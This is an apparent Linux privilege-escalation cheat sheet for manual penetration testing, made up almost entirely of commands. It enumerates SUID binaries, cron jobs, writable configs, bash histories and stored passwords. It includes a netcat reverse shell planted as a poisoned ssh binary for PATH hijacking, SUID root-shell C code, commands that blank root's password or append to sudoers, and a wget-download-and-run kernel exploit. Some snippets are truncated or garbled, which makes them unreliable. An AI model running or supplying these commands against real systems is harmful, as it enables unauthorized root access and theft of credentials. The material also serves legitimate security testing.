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Linux elevation of privileges, manual testing

Things to look: Miss-configured services (cronjobs), incorrect file permissions (exportfs, sudo), miss-configured environment ($PATH), binary with SUID bit, software or OS with known vulnerabilities.

First try simple sudo:

$ sudo su -

What can we run with sudo?

$ sudo -l

Try su as all users and the username as password

What services are running as root?:

$ ps aux | grep root

Look for vulnerable/privileged components such as: mysql, sudo, udev, python

If /etc/exports if writable, you can add an NFS entry or change and existing entry adding the no_root_squash flag to a root directory, put a binary with SUID bit on, and get root.

If there is a cronjob that runs as run but it has incorrect file permissions, you can change it to run your SUID binary and get a shell.

The following command will list processes running by root, permissions and NFS exports.

$ echo 'services running as root'; ps aux | grep root;  echo 'permissions'; ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'; echo 'nfs info'; ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null

Use netstat to find other machines connected

$ netstat -ano

Command to skip ignored lines in config files

$ alias nonempty="egrep -v '^[ \t]*#|^$'"

If Mysql is running as root, you can run commands using sys_exec(). For instance, to add user to sudoers:

sys_exec('usermod -a -G admin username')

More about mysql:


Find linux distribution & version

$ cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat /etc/redhat-release;


$ cat /proc/version; uname -a; uname -mrs; rpm -q kernel; dmesg | grep Linux; ls /boot | grep vmlinuz-; file /bin/ls; cat /etc/lsb-release

Environment variables

$ cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set

Find printers

$ lpstat -a

Find apps installed;

$ ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l; rpm -qa; ls -alh /var/cache/apt/archivesO; ls -alh /var/cache/yum/*;

Find writable configuration files

$ find /etc/ -writable -type f 2>/dev/null

Miss-configured services

$ cat /etc/syslog.conf; cat /etc/chttp.conf; cat /etc/lighttpd.conf; cat /etc/cups/cupsd.conf; cat /etc/inetd.conf; cat /etc/apache2/apache2.conf; cat /etc/my.conf; cat /etc/httpd/conf/httpd.conf; cat /opt/lampp/etc/httpd.conf; ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

Scheduled jobs

$ crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny

Grep hardcoded passwords

$ grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

if web server run in web root:

$ grep "localhost" ./ -R

Network configuration

$ /sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf; cat /etc/sysconfig/network; cat /etc/networks; iptables -L; hostname; dnsdomainname

List other users home directories

$ ls -ahlR /root/; ls -ahlR /home/

User bash history

$ cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history

User mails

$ cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/root

Find interesting binaries

$ find / -name wget; find / -name nc*; find / -name netcat*; find / -name tftp*; find / -name ftp

Mounted filesystems

$ mount; df -h; cat /etc/fstab

Look for binaries with the SUID or GUID bits set.

$ find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null

$ find / -perm -1000 -type d 2>/dev/null

$ find / -perm -g=s -type f 2>/dev/null

Adding a binary to PATH, to hijack another SUID binary invokes it without the fully qualified path.

$ function /usr/bin/foo () { /usr/bin/echo "It works"; }

$ export -f /usr/bin/foo

$ /usr/bin/foo

    It works

if you can just change PATH, the following will add a poisoned ssh binary:

 set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"

 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f" >> /tmp/ssh

 chmod +x ssh

Generating SUID C Shell for /bin/bash

int main(void){

    setresuid(0, 0, 0);



Without interactive shell

$ echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c

If you can get root to execute anything, the following will change a binary owner to him and set the SUID flag:

$ chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;

If /etc/passwd has incorrect permissions, you can root:

 $ echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd; su

Add user www-data to sudoers with no password

$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update

If you can sudo chmod:

 $echo -e '#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void){\n\tsetuid(0);\n\tsetgid(0);\n\tsystem("/bin/bash");\n}' > setuid.c $ sudo chown root:root /tmp/setuid; sudo chmod 4777 /tmp/setuid; /tmp/setuid

Wildcard injection if there is a cron with a wildcard in the command line, you can create a file, whose name will be passed as an argument to the cron task, For more info:


compile exploit fix error

$ gcc 9545.c -o 9545 -Wl,--hash-style=both

Find other uses in the system

 $id; who; w; last; cat /etc/passwd | cut -d: -f1; echo 'sudoers:'; cat /etc/sudoers; sudo -l

World readable/writable files:

$ echo "world-writeable folders"; find / -writable -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -222 -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -o w -type d 2>/dev/null; echo "world-executable folders"; find / -perm -o x -type d 2>/dev/null; echo "world-writeable & executable folders"; find / \( -perm -o w -perm -o x \) -type d 2>/dev/null;

Find world-readable files:

$ find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print

Find nobody owned files

$ find /dir -xdev \( -nouser -o -nogroup \) -print

Add user to sudoers in python.

#!/usr/bin/env python

import os

import sys


        os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')



Ring0 kernel exploit for 2.3/2.4

wget http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c; gcc 36038-6.c -m32 -o ring0; chmod +x ring0; ./ring0

Inspect web traffic

$ tcpdump tcp port 80 -w output.pcap -i eth0

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